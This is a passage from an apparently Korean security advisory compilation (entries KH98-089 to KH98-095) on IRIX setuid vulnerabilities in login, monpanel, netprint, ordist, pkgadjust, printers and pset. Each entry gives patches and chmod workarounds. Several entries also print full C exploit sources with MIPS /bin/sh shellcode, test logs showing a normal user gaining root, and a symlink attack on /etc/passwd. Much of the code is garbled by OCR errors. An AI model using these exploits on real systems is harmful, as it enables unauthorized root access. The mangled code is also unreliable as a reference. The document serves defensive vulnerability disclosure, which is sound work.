Page 722: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

login-IRIX-overflow

login-IRIX-오버플로우

문서번호

KH98-089

문서제목

login-IRIX-오버플로우(login-IRIX-overflow)

관련응용프로그램

bin/login

관련 운영체제

IRIX 5.3/6.2/6.3

취약점 분석

취약점 이해

- login 명령은 setuid root 프로그램(setuid 비트가 설정된 루트 소유의 파일)이다.

- login 명령은 받아 들이는 인수에 대해서 길이 검사를 하지 않기에 일반사용자가 스택 오

버플로우를 일으켜 루트의 권한을 획득할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- login에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우 시킨 후 제

공된 이진 코드를 실행하게 된다.

- 이때 login은 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트 권한으로 수

행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻을 수

도 있다.

해킹 소스 프로그램

- 첨부

해킹시험 결과

IRIS 168% id

uid=1111(kadosu) gid=20(user)

IRIS 173% cc -n32 -o login_overflow login_overflow.c

"login_overflow.c", line 61: warning(1048): cast between

pointer-to-object and

pointer-to-function

u_long(*get-sp)(void)=(u_long(*)(void))get_sp_code;

Page 723: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

IRIS 174% ./login_overflow

stack = 0x7fff2ee0, targ_addr = 0x7fff3090

Password:

#id

uid=1111(kadosu) gid=20(user) euid=0(root)

# uname

IRIX

# uname -a

IRIX IRIS 6.2 03131015 IP22

#

해킹흔적 확인방법

해킹당한 시간을 알 수 있다면 lastcomm을 이용하여 /var/adm/pacct 로그에서 df 명령을

사용한 사용자를 찾아 해당 사용자의 관련 로그와 디렉토리를 점검해본다.

대응방법

패치설치

OS Version Vulnerable? Patch#

IRIX 3.x no

IRIX 4.x no

IRIX 5.0.x yes not avail

IRIX 5.1.x yes not avail

IRIX 5.2 yes not avail

IRIX 5.3 yes 2216

IRIX 6.0.x yes not avail

IRIX 6.1 yes not avail

IRIX 6.2 yes 2181

IRIX 6.3 yes 2232

IRIX 6.4 yes 2233

임시조치

Page 724: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <unistd.h>

#define BUF_LENGTH 200

#define EXTRA 300

#define OFFSET 0x1b0

#define IRIX_NOP 0x03e0f825 / *move $ra, $ra*/

#define u_long unsigned

u_long get_sp_code[ ]={

0x03a01025, /*move $v0,$sp */

0x03e00008, /*jr $ra */

0x00000000, /*nop */

};

u_long irix_shellcode[ ]={

0x24041234, /*li $4, 0x1234 */

0x2084edcc, /*sub $4,0x1234 */

0x0491fffe, /*bgezal $4,pc-4 */

0x03bd302a, /*sgt $6, $sp,$sp */

0x23e4012c, /*addi $4, $31, 264+36 */

0xa086feff, /*sb $6,-264+7($4) */

0x2084fef8, /*sub $4,264 */

0x20850110, /*addi $4,$4,264+8 */

0xaca4fef8, /*sw $4,-264($5) */

0xaca6fefc, /*sw $4,-260($5) */

0x20a5fef8, /*sub $5,264 */

0x240203f3, /*li $v0,1011 */

0x03ffffcc, /*syscall 0xfffff */

0x2f62696e, /* "/bin" */

0x2f7368ff, /* "sh" */

Page 725: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

};

char buf[BUF_SENGTH+EXTRA+8];

void main(int argc, char **argv)

{

char *env[]={NULL};

u_long targ_addr, stack;

u_long *long_p;

int i, code_length=strlen((char*)irix_shellcode)+1;

u_long(*get_sp)(void)=(u_long(*)(void))get_sp_code;

stack=get_sp();

long_p=(u_long*) buf;

targ_addr=stack+OFFSET;

if(argc>1)

targ_addr+=atoi(argv[1]);

Page 726: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

while((targ_addr & 0xff000000)=0||

(targ_addr & 0x00ff0000)=0||

(targ_addr & 0x0000ff00)=0||

(targ_addr & 0x000000ff)=0)

targ_addr+=4;

for(i=0;i<(BUF_LENGTH-code_length)/sizeof(u_long);

i++)

*long_p++=IRIX_NOP;

for(i=0; i<code_length/sizeof(u_long);i++)

*long_p++=irix_shellcode[i];

for(i=0;i<EXTRA / sizeof(u_long);i++)

*long_p++=(targ_addr<<24)|(targ_addr>>8);

*long_p=0;

printf("stack=0x%x, targ_addr=0x%x₩n", stack, targ_addr);

execle("/bin/login", "login", "-h", &buf[1], 0, env);

perror("excel failed");

}

Page 727: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

monpanel-IRIX-오버플로우

monpanel-IRIX-overflow

Page 728: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

monpanel-IRIX-overflow

monpanel-IRIX-오버플로우

문서번호

KH98-090

문서제목

monpanel-IRIX-오버플로우(monpanel-IRIX-overflow)

관련 응용프로그램

/usr/sbin/monpanel

관련 운영체제

IRIX 5.3/6.2

취약점 분석

취약점 이해

- monopanel명령은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- monopanel명령은 인수를 받아들일 때 인수길이검사를 하지 않기에 일반사용자가 스택버

퍼오버플로우를 일으켜 루트의 권한을 획득할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- monopanel에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우 시킨

후 제공된 이진 코드를 실행하게 된다.

- 이때 monopanel은 루트 권한으로 수행중이었기 때문에 제공된 이진 코드로 루트권한으

로 수행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻

을 수도 있다.

해킹 소스 프로그램

- 첨부

Page 729: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

id

uid=1111(kadosu) gid=20(user)

IRIS 226% uname -a

IRIX IRIS 6.2 03131015 IP22

IRIS 227% ./monpanel_ov

stack=0x7fff2ef0, targ_addr=0x7fff3074

# id

uid=0(root) gid=20(user)

#

해킹흔적 확인방법

대응방법

패치 설치

임시조치

- chmod u-s /usr/sbin/monpanel

Page 730: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*Explit by David Hedley <[email protected]>

*27/5/97

*

*_very_slighty modified by Patrick J..Paulus <[email protected]>

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <unsistd.h>

#define NUM_ADDRESSES 500

#define BUF_LEMGTH 500

#define EXTRA 9000

#define OFFSET 0x180 /* 0x184 for lrix 6.x*/

#define GP_OFFSET -0x80

#define IRIX_NOP 0x03e0f825 /*move $ra,$ra*/

#define PATH_PROG "/usr/sbin/monpanel"/*path & program name */

#define PROG "monpanel" /*program */

#define u_long unsigned

u_long get_sp_code[]={

0x03a01025, /* move #v0,$sp */

0x03e00008, /* jr $ra */

0x00000000, /* nop */ };

u_long irix_shellcode[]={

0x24041234, /* li $4, 0x1234 */

0x2084edcc, /* sub $4, 0x1234 */

0x0491fffe, /* bgezal $4, pc-4 */

0x03db302a, /* sgt $6,$sp,$sp */

0x03db202a, /* sgt $4,$sp,$sp */

0x240203ff, /* li $v0, 1023 */

Page 731: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

0x03ffffcc, /* syscall 0xfffff */

0x23e40138, /* addi $4,$31,264+48 */

0xa086feff, /* sb $6,-264+7($4) */

0x2084fef8, /* sub $4,264 */

0x20850110, /* addi $5,$4,264+8 */

0xaca4fef8, /* sw $4,-264($5) */

0xaca6fefc, /* sw $4,-260($5) */

0x20a5fef8, /* sub $5,264 */

0x240203f3, /* li $v0,1011 */

0x03ffffcc, /* syscall 0xfffff */

0x2f62696e, /* "/bin" */

0x2f7368ff, /* "/sh" */ };

Char buf[NUM_ADDRESSES+BUF_LENGTH+EXTRA+8];

void main(int argc, char **argv) {

char *env[]={NULL};

u_long targ_aeer, stack, tmp;

u_long *long_p;

int i, code_length=strlen((char*)irix_shellcode)+1;

u_long(*get_sp)(void)=(u_long(*)(void))get_sp_code;

stack=get_sp();

if(stack & 0x800000000) {

printf("Recompile with the '-32' option₩n");

exit(1);

}

long_p=(u_long*) buf;

targ_addr=stack+OFFSET;

if(argc>1)

targ_addr+=atoi(argv[1]);

tmp=(targ_addr+NUM_ADDRESSES+(BUF_LENGTH-code_length)/2) & ~3;

while((tmp & 0xff000000)==0||

(tmp & 0x00ff0000)==0||

(tmp & 0x0000ff00)==0||

Page 732: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

(tmp & 0x000000ff)==0)

tmp +=4;

for(i=0; i<NUM_ADDRESSES/(4*sizeof(u_long));i++) {

*long_p++=tmp;

*long_p++=tmp;

*long_p++=targ_addr;

*long_p++=targ_addr;

}

for(i=0; i<(BUF_LENGTH-code_length) / sizeof(u_long); i++)

*long_p++=IRIX_NOP;

for(i=0; i<code_length/sizeof(u_long); I++)

*long_p++=irix_shellcode[i];

tmp=(targ_addr+GP_OFFSET+NUM_ADDRESSES/2) & ~3;

for(i=0; i<EXTRA / sizeof(u_long); I++)

*long_P++=(tmp>>8) | (tmp<<24);

*long_p=0;

printf("stack=0x%x, targ_addr=0x%x₩n", stack, targ_addr);

execle(PATH_PROG, PROG, "-xrm", &buf[2], 0, env);

perror("execl failed");

}

Page 733: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

netprint-IRIX-임시파일

netprint-IRIX-tmpfile

Page 734: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

netprint-IRIX-tmpfile

netprint-IRIX-임시파일

문서번호

KH98-091

문서제목

netprint-IRIX-임시파일(netprint-IRIX-tmpfile)

관련 응용프로그램

/usr/lib/print/netprint

관련 운영체제

IRIX 5.3/6.1/6.2/6.3/6.4

취약점 분석

취약점 이해

- netprint 프로그램은 실행도중 /var/spool/lpd/lpd.lock 임시파일을 사용하는데 일반사용

자가 미리 시스템파일과 임시파일에 심볼릭링크를 걸어두어 시스템파일을 조작할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- netprint 프로그램은 /var/spool/lpd/lpd.lock 임시파일을 사용한다. 일반사용자는 이 파

일을 시스템파일에 심볼릭링크를 걸어두어 시스템파일을 조작함으로써 시스템에 불법적인

접근을 할 수 있다.

해킹 소스 프로그램

해킹시험 결과

IRIS 312% id

uid=1111(kadosu) gid=20(user)

IRIS 313% su lp

$ id

uid=9(lp) gid=9(lp)

$ ln-s /etc/passwd/var/spool/lpd/lpd.lock

Page 735: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

$ ls-ld /var/spool/lpd/lpd.lock

lrwxr-xr-x 1lp lp 11 Nov 3 3:41

/var/spool/lpd/lpd.lock -> /etc/passwd

$ lpd

lpd: Not found

$

$ /usr/etc/lpd

$ ls-ld /etc/passwd

-rw-r-r- 10 user 6 Nov 3 03:42 /etc/passwd

$ more/etc/passwd

28641

═════════════════

해킹흔적 확인방법

패치 설치

- IRIX 6.2 패치 : 2022

임시조치

- chmod 400 /usr/lib/print/netprint

Page 736: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ordist-IRIX-오버플로우

ordist-IRIX-overflow

Page 737: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

ordist-IRIX-overflow

ordist-IRIX-오버플로우

문서번호

KH98-092

문서제목

ordist-IRIX-오버플로우(ordist-IRIX-overflow)

관련 응용프로그램

/usr/bsd/ordist

관련 운영체제

IRIX 5.3/6.2

취약점 분석

취약점 이해

- ordist 명령은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- ordist 프로그램은 인수를 받아들일 때 인수길이검사를 하지 않기에 일반사용자가 스텍

버퍼오버플로우를 일으켜 루트의 권한을 획득할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- ordist에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우시킨 후 제

공된 이진 코드를 실행하게 된다.

- 이때 ordist는 setuid 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트 권

한으로 수행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을

얻을 수도 있다.

해킹 소스 프로그램

- 첨부

Page 738: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

IRIS 359% cc-o ordist_ov ordist_overflow.c -n32

"ordist_overflow.c", line 29: warning(1048): cast between

pointed-to-object

and pointer-to-function

u_long(*get_sp)(void)=(u_long(*)(void)get_sp_code;

^

"ordist_overflow.c", line 61: warning(1164): argument of type "char *"

is

incompatible with parameter of type "unsigned char *"

run(buf);

^

IRIS 360% id

uid=1111(kadosu) gid=20(user)

IRIS 361% ./ordist_ov

address - 7fff31e0

total buf len - 316

rdist: line 1:

4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4

$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4$4<b7in</s79h.'''0$$#

$11 redefined

# id

uid=1111(kadosu) gid=20(user) euid=0(root)

#

해킹흔적 확인방법

대응방법

패치 설치

- IRIX 6.2 패치: 2213

임시조치

- chmod u-s /usr/bsd/ordist

Page 739: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

#include <stdlib.h>

#include <fcntl.h>

#define BUFSIZE 306

#define OFFS 800

#define ADDRS 2

#define ALIGN 2

void run(unsigned char *buf) {

execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d" buf, NULL):

printf("execl failed₩n);

}

char

asmcode[]="₩x3c₩x18₩x2f₩x62₩x37₩x18₩x69₩x6e₩x3c₩x19₩x2f₩x73₩x37

₩x39₩x68₩x2e₩xaf₩xb8₩xff₩xf8₩xaf₩xb9₩xff₩xfc₩xa3₩xa0₩xff₩x27₩xa4

₩xff₩xf8₩x27₩xa5₩xff₩xf0₩x01₩x60₩x30₩x24₩xaf₩xa4₩xff₩xf0₩xaf₩xa0

₩xff₩xf4₩x24₩x02₩x04₩x23₩x02₩x04₩x8d₩x0c";

char nop[]="₩x24₩x0f=x12=x34";

unsingned long get_sp(void) {

_asm_("or $2,$sp,$0);

}

/* this align stuff sux - i do know. */

main(int argc, char *argv[]) {

char *buf, *ptr, addr[8];

int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;

int i, noplen=strlen(nop);

if (argc >1) bufsize=atoi(argv[1]);

if (argc >2) offs=atoi(argv[2]);

if (argc >3) addrs=atoi(argv[3]);

if (argc >4) align=atoi(argv[4]);

Page 740: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (bufsize<strlen(asmcode)) {

printf("bufsize too small, code is %d bytes long₩n",

strlen(asmcode));

exit(1);

}

If ((buf=malloc(bufsize+ADDDRS<<2+noplen))==NULLL) {

printf("Can't malloc₩n");

exit(1);

}

*(int *)addr=get_sp()+dffs;

priotf("address - %p₩n", *(int *)addr);

strcpy(buf, nop);

ptr=buf+noplen;

buf+=noplen-bufsize % noplen;

bufsize-=bufsize % noplen;

for (i=0; i<bufsize; I++)

*ptr++=nop[i % noplen];

memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));

memcpy(ptr, nop, strlen(nop));

ptr+=align;

for (i=0; i<addrs<<2; i++)

*ptr++=addr[i % sizeof(int)];

*ptr=0;

printf("total buf len - %d₩n", strlen(buf));

run(buf);

}

Page 741: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

pkgadjust-IRIX-입력해석

pkgadjust-IRIX-parsing

Page 742: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

pkgadjust-IRIX-parsing

pkgadjust-IRIX-입력해석

문서번호

KH98-093

문서제목

pkgadjust-IRIX-입력해석(pkgadjust-IRIX-parsing)

관련 응용프로그램

/usr/pkg/bin/pkgadjust

관련 운영체제

IRIX 5.3/6.2

취약점 분석

취약점 이해

- pkgadjust 명령은 setuid root 프로그램(setuid 비트가 설정된 루트소유의 파일)이다.

- pkgadjust 프로그램의 구현상 문제로 인해 일반사용자가 root권한으로 임의의 프로그램

을 실행시킬 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- pkgadjust 프로그램의 구현상 문제로 인해 프로그램을 인수로 받아들이는 것을 이용하여

일반사용자가 root권한으로 임의의 프로그램을 실행시켜서 root권한을 획득할 수 있다.

해킹 소스 프로그램

해킹 시험 결과

IRIS 414% cc -o getroot getroot.c

IRIS 415% cp /bin/sh sh

IRIS 416% ls -ld getroot

-rwxr-xr-x 1 kadosu user 11960 Nov 3 05:02 getroot

IRIS 417% ls -ld sh

Page 743: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

-rwxr-xr-x 1 kadosu suer 198788 Nov 3 05:02 sh

IRIS 421% ls -ld /usr/pkg/bin/pkgadjust

-rwsr-xr-x 1 root sys 87048 Jun 25 21:53

/usr/pkg/bin/pkgadjust

IRIS 423% id

uid=1111(kadosu) gid=20(user)

IRIS 424% /usr/pkg/bin/pkgadjust -f -a getroot

scanning inst-database

updating pkginfo-files

scanning contents-database

dumping new contentsfile

IRIS 425% IRIS 425% ls -ld sh

-rwsr-xr-x 1 root sys 198788 Nov 3 05:02 sh

IRIS 426% uname -a

IRIX IRIS 6.2 03131015 IP22

IRIS 427% id

uid=1111(kadosu) gid=20(user)

IRIS 428% ./sh

# id

uid=1111(kadosu) gid=20(user)euid=0(root)

#

해킹흔적 확인방법

대응방법

패치설치

임시 조치

- chmod 700 /usr/pkg/bin/pkgadjust

Page 744: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printers-IRIX-오버플로우

printers-IRIX-overflow

Page 745: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printers-IRIX-overflow

printers-IRIX-오버플로우

문서번호

KH98-094

문서제목

printers-IRIX-오버플로우(printers-IRIX-overflow)

관련 응용르로그램

/usr/sbin/printers

관련 운영체제

IRIX 5.x/6.2/6.3

취약점 분석

취약점 이해

- printers 프로그램을 인수를 받아들일 때 인수길이검사를 않기에 일반사용자가 스택버퍼

오버플로우를 일으켜 루트의 권한을 획득할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- printers에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버플로우시킨 후

제공된 이진 코드를 실행하게 된다.

- 이때 printers는 setuid 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권

한으로 수행된다. 이를 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을

얻을 수도 있다.

해킹 소스 프로그램

- 첨부

Page 746: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

IRIS 447% id

uid=1111(kadosu) gid=20(user)

IRIS 448% uname -a

IRIX IRIS 6.2 03131015 IP22

IRIS 449% cc -o printer_ov printer_overflow.c -n32

"printer_overflow.c", line 65: warning(1048): cast between

pointer-to-object

and pointer-to-function

u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

IRIS 450% ./printer_ov

stack = 0x7fff2eee0, targ_addr = 0x7fff3064

#id

uid=0(root) gid=20(user)

# ls -ld /usr/sbin/printers

-rwsr-xr-x 1 root sys 209784 Jum 26 03:27

/usr/sbin/printers

#

해킹흔적 확인 방법

대응방법

패치설치

대응조치

- chmod u-s /usr/cbin/printers

Page 747: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

*/usr/sbin/printers.c exploit by DCRH 27/5/97

*

* Tested on: R3000 lndigo (lrix 5.3)

* R4400 lndy (lrix 5.3)

* R8000 PChallenge (lrix64 6.2)

* R5000 02 (lrix 6.3)

*

* Change the OFFSET to 0x184 or pass '4' as an argument for lrix6.x

*

* compile as: cc printers.c (lrix 5.x)

* cc -n32 printers.c (lrix 6.x)

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <unistd.h>

#define NUM_ADDRESSES 500

#define BUF_LENGTH 500

#define EXTRA 9000

#define OFFSET 0X180 /* 0x184 for lrix 6.x */

#define GP_OFFSET -0X80

#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */

#define u_long unsigned

u_long get_sp_code[] = {

0x03a01025, /* move $v0,$sp */

0x03e00008, /* jr $ra */

0x00000000, /* nop */

};

Page 748: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

u_long irix_she||code[] = {

0x24041234, /* li $4,0x1234 */

0x2084edcc, /* sub $4,0x1234 */

0x0491fffe, /* bgezal $4,pc-4 */

0x03bd302a, /* sgt $6,$sp,$sp */

0x03bd202a, /* sgt $4,$sp,$sp */

0x240203ff, /* li $v0, 1023 */

0x03ffffcc, /* syscall 0xfffff */

0x23e40138, /* addi $4,$31,264+48 */

0xa086feff, /* sb $6, -264+7($4) */

0x2084fef8, /* sub $4,264 */

0x20850110, /* addi $5,$4,264+8 */

0xaca4fef8, /* sw $4,-264($5) */

0xaca6fefc, /* sw $4,-260($5) */

0x20a5fef8, /* sub $5, 264 */

0x240203f3, /* li $v0,1011 */

0x03ffffcc, /* syscall 0xfffff */

0x2f62696e, /* "bin" */

0x2f7368ff, /* "sh" */

};

char buf [NOM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)

{

char *env[ ] = {NULL};

u_long targ_addr, stack, tmp;

u_long *long_p;

int i, , code_length = strlen((char *)irix_shellcode)+1;

u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

stack = get_sp();

if(stack & 0x80000000){

printf(Recompile with the '-32' option₩n");

exit(1);

}

Page 749: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

long_p =(u_long *) buf;

targ_addr = stack + OFFSET;

if (argc > 1) buf;

targ_addr += atoi(argv[1]);

tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) &~3;

while((tmp & 0xff000000)) == 0 ||

((tmp & 0x00ff0000)) == 0 ||

((tmp & 0xf0000ff00)) == 0 ||

((tmp & 0xf000000ff) == 0)

tmp +=4;

for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) {

*long_p++ = tmp;

*long_p++ = tmp;

*long_p++ = targ_addr;

*long_p++ = targ_addr;

}

for (i = 0; <(BUF_LENGTH - code_length) / sizeof(u_long);i++)

*long_p++ = IRIX_NOP;

for (i = 0; i<code_length/sizeof(u_long); i++)

*long_p++ = irix_shellcode[i];

tmp = (farg_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;

for (i = 0; code_length / sizeof(u_long); i++)

*long_p++ = (tmp >> 8) | (tmp << 24);

*long_p = 0;

printf("stack = 0x%x, targ_addr = 0x%x₩n" stack, targ_addr);

execle("/usr/sbin/printers", "-xrm, &buf[2], 0,env);

perror("execl failed");

}

Page 750: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

pest-IRIX-오버플로우

pest-IRIX-overflow

Page 751: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

pest-IRIX-overflow

pest-IRIX-오버플로우

문서번호

KH98-095

문서제목

pset-IRIX-오버플로우(pest-IRIX-overflow)

관련 응용프로그램

관련 운영체제

IRIX 5.3/6.2

취약점 분석

취약점 이해

- pset 프로그램을 인수를 받아들일 때 인수길이 검사를 않기에 일반사용자가 스택버스 오

버플로우를 일으켜 루트의 권한을 획들할 수 있다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

- pset에 교묘히 설계된 인수를 제공하여 실행시키면 내부 스텍을 오버를로우시킨 후 제공

된 이진 코드를 실행하게 된다.

- 이때 pest는 setuid 루트 권한으로 수행중이었기 때문에 제공된 이진 코드도 루트권한으

로 수행된다. 이르 이용하여 임의의 명령을 수행시킬 수 있으며 특히 루트 권한의 쉘을 얻

을 수도 있다.

해킹 소스 프로그램

- 첨부

Page 752: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹 시험 결과

IRIS 436% id

uid=1111(kadosu) gid=20(user)

IRIS 437% uname -a

IRIX IRIS 6.2 03131015 IP22

IRIS 438% ./pset_ov

address=7fff3218

buflen=4206

lsd: no name '% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H% H%

